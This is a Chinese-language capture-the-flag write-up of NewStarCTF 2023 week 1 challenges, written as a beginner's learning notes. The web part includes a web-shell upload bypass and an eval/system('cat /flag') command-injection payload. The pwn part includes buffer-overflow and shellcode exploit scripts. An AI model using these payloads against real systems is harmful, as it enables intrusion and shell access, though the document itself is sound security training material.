NewStarCTF 2023 week1 writeup

news/2024/9/29 19:30:12

NewStarCTF 2023 week1 writeup

花了几天时间，终于把week1的题目做完了，还是学到不少东西的，题目质量大多都挺高的，很适合新手入门。

Web

1.泄漏的秘密

url/robots.txt查看robots协议，找到第一部分的flag

PART ONE: flag{r0bots_1s_s0_us3ful

url/www.zip查看网站备份，找到第二部分的flag

$PART_TWO = "_4nd_www.zip_1s_s0_d4ng3rous}";

flag:flag{r0bots_1s_s0_us3ful_4nd_www.zip_1s_s0_d4ng3rous}

信息搜集小结一下：

1.页面源代码

2.敏感文件泄露

①robots.txt

当我们在搜索引擎上打上内容点击搜索的时候，搜索引擎靠一个叫robot的程序去互联网中访问并获取网页信息。

robots.txt文件是存放在网站根目录下的文本文件，是robot访问网站时第一个要检查有无的文件，如果存在的话，那robots.txt文件会告诉robot我这个网站里的哪些页面是可以访问哪些是不能访问的。

做题时就可以先尝试一下/robots.txt看看有没有这个文件如果有的话，里面的那些disallow的文件就是我们重点访问的文件[手动狗头]。

②.phps文件

PHP是服务端语言，在前端页面用户是无法看到的，如果需要让用户查看php源码呢？就是这个xx.phps文件里面是xx页面的php源码。当然.phps文件不是哪个网站都有，做题的时候怎么说呢基本碰不到吧，一些入门题，题目描述到.phps文件，打开题目链接就直接/index.phps就可以了如果不是index.phps也可以用御剑扫一下。。

③www.zip文件

网站的所有文件都在www文件中，可能是怕网站文件丢失，所以将www文件压缩成www.zip备份，这时候访问/www.zip(也可能不在根目录下)可能会有惊喜。www.zip/rar/tar.gz往往是网站的源码备份。

④vim缓存文件泄露

在使用vim编辑过程中如果异常退出编辑，比如不小心碰到了电源键。但是你编辑的东西不会丢失而是系统帮你生成一个.swp的缓存文件(格式为.文件名.swp)第二次意外退出时为.swo，第三次为.swn，所以根据题目描述就可以访问.xx.swp的文件(注意最前面多个.)。

恢复文件内容的方法，执行“vim 文件名”命令的目录下创建一个名字相同的文件夹“touch 文件名”“cat 文件名（此时为空）”再使用“vim -r 文件名”命令。然后"cat 文件名"就能看见被缓存的内容了

⑤mdb文件泄露

mdb文件是早期asp+access构架的数据库文件，文件泄露相当于数据库被脱裤了

文件路径：URL/db/db.mdb

2.Begin of Upload

考文件上传，我直接传马会弹窗提示“错误的拓展名，只允许上传: JPG, JPEG, PNG, GIF”

开bp，传后缀为jpg的马，拦截到后改后缀为php，蚁剑链接，在根目录找到flag。

3.Begin of HTTP

进题目提示：请使用 GET方式来给 ctf 参数传入任意值来通过这关

解题：URL/ctf=1

很棒，如果我还想让你以POST方式来给我传递 secret 参数你又该如何处理呢？
如果你传入的参数值并不是我想要的secret，我也不会放你过关的
或许你可以找一找我把secret藏在了哪里

解题：查看源代码，看到了Secret: base64_decode(bjN3c3Q0ckNURjIwMjNnMDAwMDBk) ，base64解一下n3wst4rCTF2023g00000d

POST /?ctf=1 HTTP/1.1
Host: node5.buuoj.cn:27352
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://node5.buuoj.cn:27352/?ctf=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
Origin: http://node5.buuoj.cn:27352
Connection: close
Cookie: power=hacker
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cachesecret=n3wst4rCTF2023g00000d

修改CooKie为ctfer过check

修改User-Agent为NewStarCTF2023

修改Referer为newstarctf.com

添加X-real-ip为127.0.0.1

POST /?ctf=1 HTTP/1.1
Host: node5.buuoj.cn:27352
User-Agent: NewStarCTF2023
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: newstarctf.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
Origin: http://node5.buuoj.cn:27352
Connection: close
Cookie: power=ctfer
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
X-real-ip: 127.0.0.1secret=n3wst4rCTF2023g00000d

恭喜你顺利完成了本道题目，这是你的Flag，快去提交吧：flag{6b5cdac3-cb3e-431b-94f5-0368569d8bc2}

4.ErrorFlask

说实话，没懂这道题考什么，给number1传入一个数，flag就在报错信息中，后续再学习吧。

5.Begin of PHP

<?php
error_reporting(0);
highlight_file(__FILE__);if(isset($_GET['key1']) && isset($_GET['key2'])){echo "=Level 1=<br>";if($_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2'])){$flag1 = True;}else{die("nope,this is level 1");}
}if($flag1){echo "=Level 2=<br>";if(isset($_POST['key3'])){if(md5($_POST['key3']) === sha1($_POST['key3'])){$flag2 = True;}}else{die("nope,this is level 2");}
}if($flag2){echo "=Level 3=<br>";if(isset($_GET['key4'])){if(strcmp($_GET['key4'],file_get_contents("/flag")) == 0){$flag3 = True;}else{die("nope,this is level 3");}}
}if($flag3){echo "=Level 4=<br>";if(isset($_GET['key5'])){if(!is_numeric($_GET['key5']) && $_GET['key5'] > 2023){$flag4 = True;}else{die("nope,this is level 4");}}
}if($flag4){echo "=Level 5=<br>";extract($_POST);foreach($_POST as $var){if(preg_match("/[a-zA-Z0-9]/",$var)){die("nope,this is level 5");}}if($flag5){echo file_get_contents("/flag");}else{die("nope,this is level 5");}
}level1，需要传入的key1!=key2，但是要求md5(key1)==md5(key2)
在php中
强比较：使用三个 ''==='' 比较，比较值，也比较类型
弱比较：使用两个 ''=='' 比较，只比较值，不比较类型
a==b  转同类型->后比较值
a===b 先判断类型是否相同，如果相同则比较值；如果不同则返回 false
0e绕过
科学记数法是一种记数的方法。
计算器表达10的幂一般是用E或e
如：2760000=2.76×10^6=2.76e6
所以0e，无论后面跟什么值，都是0
所以只需要找出两个md5后开头是0e后面都是数字的参数，就可以实现绕过。
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
所以level的payload->url/?key1=s878926199a&key2=s155964671alevel2,需要用post方法传入key3，要求md5(key3)===sha1(key3)
PHP哈希函数的特性，在处理数组类型的传参时，md5、sha1等哈希函数会返
回NULL值，由此可以构造出NULL===NULL从而通过判断
payload->key3[]=1level3,需要用get方法传入key4，用strcmp和flag进行比较（我要是知道flag还做什么题？）
第三关主要考察strcmp函数特性，如果传入的参数为数组类型，该函数就会返回NULL值，构造
NULL==0从而通过判断
payload->url/?key1=s878926199a&key2=s155964671a&key4[]=1level4,需要用get方法传入key5，key5必须不是数字，但是又大于2023
key5=2024alevel5
使用 extract() 函数处理 $_POST 数组。这个函数会将数组中的键作为变量名，对应的值作为变量值，创建新的变量。这通常被认为是不安全的做法，因为它可能导致未预期的变量覆盖。利用这个来添加flag5这个变量。
payload->key3[]=1&flag5=.
flag{6365e746-3990-4139-980d-6838a025d2a8}

6.R!C!E!

 <?php
highlight_file(__FILE__);
if(isset($_POST['password'])&&isset($_POST['e_v.a.l'])){$password=md5($_POST['password']);$code=$_POST['e_v.a.l'];if(substr($password,0,6)==="c4d038"){if(!preg_match("/flag|system|pass|cat|ls/i",$code)){eval($code);}}
} 爆破一个md5加密之后开头是c4d038的数值
php是如何处理带有非法字符参数名的。 $e_v.a.l变量名传参时.+这种非法字符会被转化为_但是如果是'['非法字符，会被转化为'_'后会使得后续的非法字符得到保留
payload:
password=114514&e[v.a.l=eval($_POST['cmd']);&cmd=system('cat /flag');

7.EasyLogin

这题，让我学习了bp爆破的时候如何加规则（如md5），也让我意识到，做题没思路了就把题放到bp中，看每一个包的发送和相应，其它的也没啥，感觉这题没啥意思。

Pwn

week1的pwn题都比较简单，很适合新手入门，不多介绍了。

1.ret2text

from pwn import *p = process('./ret2text')
context(os='linux',arch='amd64',log_level='debug')payload = b'a'*0x20+b'bbbbbbbb'+p64(0x04011FB)
p.sendafter('magic\n',payload)
p.interactive()

2.ezshellcode

from pwn import *p = process('./pwn')
context(os='linux',arch='amd64',log_level='debug')payload = shellcraft.sh()
p.sendafter('magic\n',asm(payload))
p.interactive()

3.newstar shop

将money花到负数，然后就拿到shell了。

4.p1eee

from pwn import *p = process('./pwn')
context(os='linux',arch='amd64',log_level='debug')payload = b'a'*0x20+b'bbbbbbbb'+b'\x6c'
p.sendafter('pie!!!\n',payload)
p.interactive()

5.Random

from pwn import *
from ctypes import *context(arch='amd64',log_level='debug')
elf = ELF('./pwn')
libc = cdll.LoadLibrary('libc.so.6')
glibc = ELF('./libc.so.6')for i in range(0x100):try:p = process('./pwn')seed = libc.time(0)password = libc.rand(libc.srand(seed))p.sendlineafter('number?\n',str(password))p.sendline('ls')p.recvuntil('pwn')breakexcept:p.close()
p.interactive()

Misc

1.CyberChef's Secret

来签到吧！下面这个就是flag，不过它看起来好像怪怪的:-)
M5YHEUTEKFBW6YJWKZGU44CXIEYUWMLSNJLTOZCXIJTWCZD2IZRVG4TJPBSGGWBWHFMXQTDFJNXDQTA=

CyberChef真好用！

2.机密图片

附件是一张二维码，扫描之后没有啥关键信息。

用binwalk分离一下python binwalk -e C:\Users\Administrator\Desktop\NewStarCTF2023\week1\misc\机密图片\secret.png

啥也没分离出来，用stegsolve看道了flag。

flag{W3lc0m3_t0_N3wSt4RCTF_2023_7cda3ece}

3.流量！鲨鱼！

不怎么会做这种题。。。

先用 http && http.response.code == 200来过滤一些干扰流量。

找到flag，应该是base64编码过的，用CyberChef解码一下

4.压缩包们

题目描述：常见的压缩包又能玩出什么花样呢？

下载附件后修改后缀为zip，爆破一下密码就得到flag了。

5.空白格

https://vii5ard.github.io/whitespace/

用空格、换行符、tab能转成汇编代码，大概就是伪机器指令。见识见识就算了，感觉没必要深入研究。

6.隐秘的眼睛

用特定的软件进行解密SilentEye，这个软件能将文字藏在图片中。

说实话，这种题目，我总感觉。。。咳咳，质量不高。

Crypto

1.brainfuck

题目：
++++++++[>>++>++++>++++++>++++++++>++++++++++>++++++++++++>++++++++++++++>++++++++++++++++>++++++++++++++++++>++++++++++++++++++++>++++++++++++++++++++++>++++++++++++++++++++++++>++++++++++++++++++++++++++>++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++<<<<<<<<<<<<<<<<-]>>>>>>>++++++.>----.<-----.>-----.>-----.<<<-.>>++..<.>.++++++.....------.<.>.<<<<<+++.>>>>+.<<<+++++++.>>>+.<<<-------.>>>-.<<<+.+++++++.--..>>>>---.-.<<<<-.+++.>>>>.<<<<-------.+.>>>>>++.
Brainfuck加密
flag{Oiiaioooooiai#b7c0b1866fe58e12}

2.Caesar's Secert

题目：
kqfl{hf3x4w'x_h1umjw_n5_a4wd_3fed}
凯撒密码，用网站直接枚举
flag{ca3s4r's_c1pher_i5_v4ry_3azy}

3.Fence

题目：
fa{ereigtepanet6680}lgrodrn_h_litx#8fc3
栅栏密码
flag{reordering_the_plaintext#686f8c03}

4.Vigenère

pqcq{qc_m1kt4_njn_5slp0b_lkyacx_gcdy1ud4_g3nv5x0}
知道是维吉尼亚加密后，根据前四个字母是flag来推测密钥，密钥猜测是3位或者4位的，要么是kfc，要么是kfck，最后尝试得到是密钥是kfc，直接解密就可以获得。
flag{la_c1fr4_del_5ign0r_giovan_batt1st4_b3ll5s0}

5.babyencoding

part 1 of flag: ZmxhZ3tkYXp6bGluZ19lbmNvZGluZyM0ZTBhZDQ=
part 2 of flag: MYYGGYJQHBSDCZJRMQYGMMJQMMYGGN3BMZSTIMRSMZSWCNY=
part 3 of flag: =8S4U,3DR8SDY,C`S-F5F-C(S,S<R-C`Q9F8S87T`part1用base64解码：flag{dazzling_encoding#4e0ad4
part2用base32解密：f0ca08d1e1d0f10c0c7afe422fea7
part3用uuencode解码：c55192c992036ef623372601ff3a}
flag{dazzling_encoding#4e0ad4f0ca08d1e1d0f10c0c7afe422fea7c55192c992036ef623372601ff3a}

6.babyrsa

from Crypto.Util.number import *
from flag import flagdef gen_prime(n):res = 1for i in range(15):res *= getPrime(n)return res
if __name__ == '__main__':n = gen_prime(32)e = 65537m = bytes_to_long(flag)c = pow(m,e,n)print(n)print(c)
# 17290066070594979571009663381214201320459569851358502368651245514213538229969915658064992558167323586895088933922835353804055772638980251328261
# 14322038433761655404678393568158537849783589481463521075694802654611048898878605144663750410655734675423328256213114422929994037240752995363595

解密脚本：

from Crypto.Util.number import *
import gmpy2n = 17290066070594979571009663381214201320459569851358502368651245514213538229969915658064992558167323586895088933922835353804055772638980251328261
c = 14322038433761655404678393568158537849783589481463521075694802654611048898878605144663750410655734675423328256213114422929994037240752995363595
e = 65537
npq = [2217990919,2338725373,2370292207,2463878387,2706073949,2794985117,2804303069,2923072267,2970591037,3207148519,3654864131,3831680819,3939901243,4093178561,4278428893]
phi = 1
for i in npq:phi = phi*(i-1)
d = gmpy2.invert(e, phi)
m = pow(c, d, n)  
print(long_to_bytes(m))

7.Small d

from secret import flag
from Crypto.Util.number import *p = getPrime(1024)
q = getPrime(1024)d = getPrime(32)
e = inverse(d, (p-1)*(q-1))
n = p*q
m = bytes_to_long(flag)c = pow(m,e,n)print(c)
print(e)
print(n)# c = 6755916696778185952300108824880341673727005249517850628424982499865744864158808968764135637141068930913626093598728925195859592078242679206690525678584698906782028671968557701271591419982370839581872779561897896707128815668722609285484978303216863236997021197576337940204757331749701872808443246927772977500576853559531421931943600185923610329322219591977644573509755483679059951426686170296018798771243136530651597181988040668586240449099412301454312937065604961224359235038190145852108473520413909014198600434679037524165523422401364208450631557380207996597981309168360160658308982745545442756884931141501387954248
# e = 8614531087131806536072176126608505396485998912193090420094510792595101158240453985055053653848556325011409922394711124558383619830290017950912353027270400567568622816245822324422993074690183971093882640779808546479195604743230137113293752897968332220989640710311998150108315298333817030634179487075421403617790823560886688860928133117536724977888683732478708628314857313700596522339509581915323452695136877802816003353853220986492007970183551041303875958750496892867954477510966708935358534322867404860267180294538231734184176727805289746004999969923736528783436876728104351783351879340959568183101515294393048651825
# n = 19873634983456087520110552277450497529248494581902299327237268030756398057752510103012336452522030173329321726779935832106030157682672262548076895370443461558851584951681093787821035488952691034250115440441807557595256984719995983158595843451037546929918777883675020571945533922321514120075488490479009468943286990002735169371404973284096869826357659027627815888558391520276866122370551115223282637855894202170474955274129276356625364663165723431215981184996513023372433862053624792195361271141451880123090158644095287045862204954829998614717677163841391272754122687961264723993880239407106030370047794145123292991433

import  RSAwienerHacker
n = 19873634983456087520110552277450497529248494581902299327237268030756398057752510103012336452522030173329321726779935832106030157682672262548076895370443461558851584951681093787821035488952691034250115440441807557595256984719995983158595843451037546929918777883675020571945533922321514120075488490479009468943286990002735169371404973284096869826357659027627815888558391520276866122370551115223282637855894202170474955274129276356625364663165723431215981184996513023372433862053624792195361271141451880123090158644095287045862204954829998614717677163841391272754122687961264723993880239407106030370047794145123292991433
e = 8614531087131806536072176126608505396485998912193090420094510792595101158240453985055053653848556325011409922394711124558383619830290017950912353027270400567568622816245822324422993074690183971093882640779808546479195604743230137113293752897968332220989640710311998150108315298333817030634179487075421403617790823560886688860928133117536724977888683732478708628314857313700596522339509581915323452695136877802816003353853220986492007970183551041303875958750496892867954477510966708935358534322867404860267180294538231734184176727805289746004999969923736528783436876728104351783351879340959568183101515294393048651825d =  RSAwienerHacker.hack_RSA(e,n)
if d:print(d)
#d=2357048593

from Crypto.Util.number import *c = 6755916696778185952300108824880341673727005249517850628424982499865744864158808968764135637141068930913626093598728925195859592078242679206690525678584698906782028671968557701271591419982370839581872779561897896707128815668722609285484978303216863236997021197576337940204757331749701872808443246927772977500576853559531421931943600185923610329322219591977644573509755483679059951426686170296018798771243136530651597181988040668586240449099412301454312937065604961224359235038190145852108473520413909014198600434679037524165523422401364208450631557380207996597981309168360160658308982745545442756884931141501387954248
n = 19873634983456087520110552277450497529248494581902299327237268030756398057752510103012336452522030173329321726779935832106030157682672262548076895370443461558851584951681093787821035488952691034250115440441807557595256984719995983158595843451037546929918777883675020571945533922321514120075488490479009468943286990002735169371404973284096869826357659027627815888558391520276866122370551115223282637855894202170474955274129276356625364663165723431215981184996513023372433862053624792195361271141451880123090158644095287045862204954829998614717677163841391272754122687961264723993880239407106030370047794145123292991433
d = 2357048593flag = pow(c,d,n)
print(long_to_bytes(flag))
#flag{learn_some_continued_fraction_technique#dc16885c}

8.babyxor

简单的异或

from secret import *ciphertext = []for f in flag:ciphertext.append(f ^ key)print(bytes(ciphertext).hex())
# e9e3eee8f4f7bffdd0bebad0fcf6e2e2bcfbfdf6d0eee1ebd0eabbf5f6aeaeaeaeaeaef2

其实知道key就可以知道flag，但是并不知道，那么就爆破一下。

ciphertext_hex = "e9e3eee8f4f7bffdd0bebad0fcf6e2e2bcfbfdf6d0eee1ebd0eabbf5f6aeaeaeaeaeaef2"  # 将十六进制密文转换为字节序列  
ciphertext = bytes.fromhex(ciphertext_hex)  # 尝试所有可能的key值（0-255）来解密  
for key in range(256):  decrypted_text = []  for char in ciphertext:  decrypted_char = char ^ (key)  decrypted_text.append(decrypted_char)  # 将解密后的字节序列转换为字符串并打印  decrypted_str = ''.join(chr(c) for c in decrypted_text)  if 'flag' in decrypted_str:print(f"Key: {key}, Decrypted text: {decrypted_str}")

9.Affine

from flag import flag, keymodulus = 256
ciphertext = []
for f in flag:ciphertext.append((key[0]*f + key[1]) % modulus)
print(bytes(ciphertext).hex())# dd4388ee428bdddd5865cc66aa5887ffcca966109c66edcca920667a88312064

盲猜dd是f加密后的，43是l加密后的，两个未知数两个方程，用z3模块先解出key

from z3 import *  def solve_example_with_z3():  # 声明整数变量  x, y = Ints('x y')  # 设置约束  solver = Solver()  solver.add(0xdd == (x*ord('f')+y)%256)  # y 等于 2 倍的 x  solver.add(0x43 == (x*ord('l')+y)%256)  # z 等于 x 和 y 的和  # 求解约束  if solver.check() == sat:  # 找到满足条件的解  print(solver.model())  else:  print("No solution!")  # 调用函数来求解问题  
solve_example_with_z3()
#[x = 17, y = -1513]

解密脚本：

def extended_gcd(a, b):  """  计算a和b的最大公约数，并返回(gcd, x, y)，使得 a*x + b*y = gcd  """  if a == 0:  return b, 0, 1  else:  gcd, y, x = extended_gcd(b % a, a)  return gcd, x - (b // a) * y, y  def modinv(a, m):  """  计算a在模m下的乘法逆元  """  gcd, x, y = extended_gcd(a, m)  if gcd != 1:  raise Exception('Modular inverse does not exist')  else:  return x % m  # 已知的密钥和模数 
key = [17, -1513]  
modulus = 256  # 假设的密文（应该是一个十六进制字符串表示的字节数组）  
ciphertext_hex = "dd4388ee428bdddd5865cc66aa5887ffcca966109c66edcca920667a88312064"  # 将十六进制字符串转换为字节数组  
ciphertext = bytes.fromhex(ciphertext_hex)  # 计算key[0]在模modulus下的乘法逆元  
inv_key = modinv(key[0], modulus)  # 解密过程  
plaintext = []  
for c in ciphertext:  # 使用乘法逆元和key[1]来解密  p = (inv_key * (c - key[1])) % modulus  # 将解密后的值转换为ASCII字符（如果它在ASCII范围内）  if 0 <= p <= 127:  plaintext.append(chr(p))  else:  plaintext.append('?')  # 如果不在ASCII范围内，用?代替  # 将解密后的字符列表转换为字符串并打印  
flag = ''.join(plaintext)  
print(flag)
#flag{4ff1ne_c1pher_i5_very_3azy}

这道题考的应该是线性同余变换，等着学习一下。

10.babyaes（不会做）

from Crypto.Cipher import AES
import os
from flag import flag
from Crypto.Util.number import *def pad(data):return data + b"".join([b'\x00' for _ in range(0, 16 - len(data))])def main():flag_ = pad(flag)key = os.urandom(16) * 2iv = os.urandom(16)print(bytes_to_long(key) ^ bytes_to_long(iv) ^ 1)aes = AES.new(key, AES.MODE_CBC, iv)enc_flag = aes.encrypt(flag_)print(enc_flag)if __name__ == "__main__":main()
# 3657491768215750635844958060963805125333761387746954618540958489914964573229
# b'>]\xc1\xe5\x82/\x02\x7ft\xf1B\x8d\n\xc1\x95i'

没了解过aes加密，等学了之后再做这道题吧。

Reverse

1.easy_RE

首先将flag的前半段压入栈flag{we1c0m

查找字符串又看道flag后半段e_to_rev3rse!!}

flag{we1c0me_to_rev3rse!!}

2.咳

加了upx壳，脱壳之后用ida打开

看一下Str2，扫一眼盲猜就是每一个字符的ascii码+1，直接写解密脚本：

encode = 'gmbh|D1ohsbuv2bu21ot1oQb332ohUifG2stuQ[HBMBYZ2fwf2~'
for i in range(len(encode)):print(chr(ord(encode[i])-1),end='')

3.Segments

IDA的Segments窗口要怎么打开呢(注:flag格式为flag{...})

题目都提示了，是shift+F7，真贴心啊。

flag{You_ar3_g0od_at_f1nding_ELF_segments_name}

4.ELF

先base64解码后简单亦或加密

import base64
correct = 'VlxRV2t0II8kX2WPJ15fZ49nWFEnj3V8do8hYy9t'
s = base64.b64decode(correct)
flag = ''
for i in s:i = chr((i - 16) ^ 32)flag += i
print(flag)

5.Endian

提取出flag来，然后简单脚本解码，然后转字符

from Crypto.Util.number import *data = [0x75553A1E,0x7B583A03,0x4D58220C,0x7B50383D,0x736B3819]
flag = b''
for t in data:flag += long_to_bytes(t^0x12345678)[::-1]
print(flag)

6.AndroXor

附件是一个apk，看题目应该是个亦或的加密。

用jadx打开apk文件，找到main函数（或许并不准确），其实就是一个简单的亦或，提取出数据来编写脚本解密就行。

str1 = [14,'\r', 17,23, 2, 'K', 'I', '7',' ', 30, 20,'I','\n',2,'\f', '>', '(', '@', 11, '\'', 'K', 'Y', 25, 'A', '\r']
str1 = [14, 13, 17, 23, 2, 75, 73, 55, 32, 30, 20, 73, 10, 2, 12, 62, 40, 64, 11, 39, 75, 89, 25, 65, 13]str2 = "happyx3"
for i in range(len(str1)):temp = chr(str1[i] ^ ord(str2[i % len(str2)]))print(temp,end='')

7.EzPE

题目描述：这个EXE怎么运行不了呢？

找一个可以执行的exe文件，复制文件头到附近的exe，文件就能打开了。

ida打开，是简单的亦或加密，写解密脚本解密即可。

encode = [0x0A,0x0C,0x04,0x1F,0x26,0x6C,0x43,0x2D,0x3C,0x0C,0x54,0x4C,0x24,0x25,0x11,0x06,0x05,0x3A,0x7C,0x51,0x38,0x1A,0x03,0x0D,0x01,0x36,0x1F,0x12,0x26,0x04,0x68,0x5D,0x3F,0x2D,0x37,0x2A,0x7D]
for i in range(len(encode)-2,-1,-1):encode[i] ^= (i)^encode[i+1]
for i in range(len(encode)):print(chr(encode[i]),end='')